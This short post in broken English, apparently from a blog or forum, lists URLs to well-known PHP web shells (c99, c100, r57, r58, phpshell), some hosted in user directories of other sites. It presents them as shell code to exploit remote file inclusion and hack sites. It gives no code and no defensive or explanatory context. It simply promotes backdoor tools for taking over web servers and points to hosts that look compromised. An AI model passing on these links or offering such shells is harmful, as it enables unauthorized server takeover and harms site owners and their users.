PHP Shell

Why is it that we have a site that we can hack the remote? Perhaps one of the few activities we can do with exploitation or remote file / server with shell code.
hmm, the following shell code for exploitation that may be used.


http://allplayoffs.com/~willboar/c100.php
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http://asiahardon.com/~willboar/c100.php
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http://ygbai.com/~willboar/c100.php
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http://4-phonecard.com/~willboar/c100.php
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http://afilmase.com/~willboar/c100.php
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http://allplayoffs.com/~willboar/c100.php
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http://asiahardon.com/~willboar/c100.php
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http://afilmase.com/~willboar/c100.php
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http://ygbai.com/~willboar/c100.php
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http://4-phonecard.com/~willboar/c100.php
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http://xxxwebreview.com/~willboar/c100.php
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http://www.shellc0der.com/c100.txt
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http://www.shellc0der.com/c99.txt
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http://www.shellc0der.com/r57.txt
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http://www.shellc0der.com/r58.txt
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http://www.shellc0der.com/phpshell.txt
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http://www.shellc0der.com/c99v2.txt